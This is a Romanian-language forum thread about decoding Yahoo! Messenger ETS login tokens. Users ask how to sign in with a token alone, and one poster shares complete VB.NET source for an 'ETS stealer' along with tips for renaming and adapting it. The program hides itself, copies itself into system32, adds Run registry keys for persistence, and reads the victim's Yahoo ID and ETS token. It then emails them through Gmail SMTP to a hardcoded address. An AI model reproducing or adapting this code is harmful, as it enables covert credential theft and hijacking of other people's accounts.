Yahoo! Messenger ETS decoder

[zblink]

Deci, daca gaseste cineva ETS la versiunea 11 sa ma lumineze si pe mine ca eu nu am gasit nimic

[Maximus]

mie nu imi merge dar in primu rand nu stiu ce inseamna rts...

maximmmmmmmmmmmm

[Znu55]

ce scriu la ETS ?

[sicilianul]

Bai voi nu va uitati ca topicul e din 2008?

[michele25ro]

Am decriptat ETS'ul, ma pot loga pe id meu fara parola, doar cu tokenul? daca da, puteti sa imi spuneti cum ? ce text trebuie sa fac?? va rog sa-mi raspundeti

[Dragos]

Am decriptat ETS'ul, ma pot loga pe id meu fara parola, doar cu tokenul? daca da, puteti sa imi spuneti cum ? ce text trebuie sa fac?? va rog sa-mi raspundeti

http://rstcenter.com/forum/8917-despre-yahoo.rst

Nu garantez ca metoda mai merge, topicul si programul sunt VECHI.

[xnoobu]

Merge.. uitati aici source code la ets stealer;)) ai nevoie de vb5,8,sau 10..si sa modifici pe ici pe colo:d

Imports System.Net.Mail

Imports System.IO

Public Class Form1

Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed

End Sub

Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing

My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.CurrentDirectory & "\FixIt.exe")

End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

Me.Visible = False

Me.ShowIcon = False

Me.ShowInTaskbar = False

If My.Computer.FileSystem.FileExists("C:\WINDOWS\system32\IXHost.exe") Then

Else

My.Computer.FileSystem.CopyFile(My.Computer.FileSystem.CurrentDirectory & "\FixiT.exe", "C:\WINDOWS\system32" & "\IXHost.exe")

End If

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "IXHost.exe", "C:\WINDOWS\assembly\IXHost.exe")

My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "IXHost.exe", "C:\WINDOWS\assembly\IXHost.exe")

Timer1.Enabled = True

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

Dim MailMsg As New MailMessage()

'Dim MsgAttachment1 As New Attachment("C:\Documents and settings\"& my.user.CurrentPrincipal & "\Application\Data\Mozila\firefox\profiles\" & my.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData & "Mozila\cookies.sqlite")

Dim readValue As String

Dim id As String

' Dim ip As String

readValue = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\Software\Yahoo\pager", "ETS", Nothing)

id = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\Software\Yahoo\pager", "Yahoo! User ID", Nothing)

'ip = AxWinsock1.LocalIP

Dim smtpserver As New SmtpClient

smtpserver.Credentials = New Net.NetworkCredential("Id`u tau de gmail@gmail.com", "parola ta de gmail")

smtpserver.Port = 587

smtpserver.Host = "smtp.gmail.com"

smtpserver.EnableSsl = True

MailMsg.To.Add("cristi_is_back2008@Yahoo.com")

'MailMsg.Attachments.Add(MsgAttachment1)

MailMsg.From = New MailAddress("id`u tau de mess//**//@Yahoo.com")

MailMsg.Subject = "Yahoo Pass bY cRs#" & id

MailMsg.Body = "YahooId :" & id & vbCrLf & "ETS:" & readValue

smtpserver.Send(MailMsg)

Timer1.Enabled = False

Dim p As Process

For Each p In Process.GetProcesses

If p.ProcessName = "IXHost.exe" Then

p.Kill()

End If

If p.ProcessName = "FixiT" Then

p.Kill()

End If

Next

'pot sa`l denumesc altfel?

End Sub

Private Sub UserControl1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)

End Sub

End Class

Inlocuiesti peste tot fixiT cu ce nume vrei sa`i dai..deoarece am pus functia de process kill si daca are alt nume..o sa dea ceva erori cand incepe sa inchida procesul ..tutorialul este doar modificat de mine ..drepturile de autor i revin lui Crisalixx#

[raul123456]

ba cum il fac sa mearga ce ets frate ca nici nu stiu sa umblu cu el daca vrea cnv sa ma ajute va rog add lifeantrax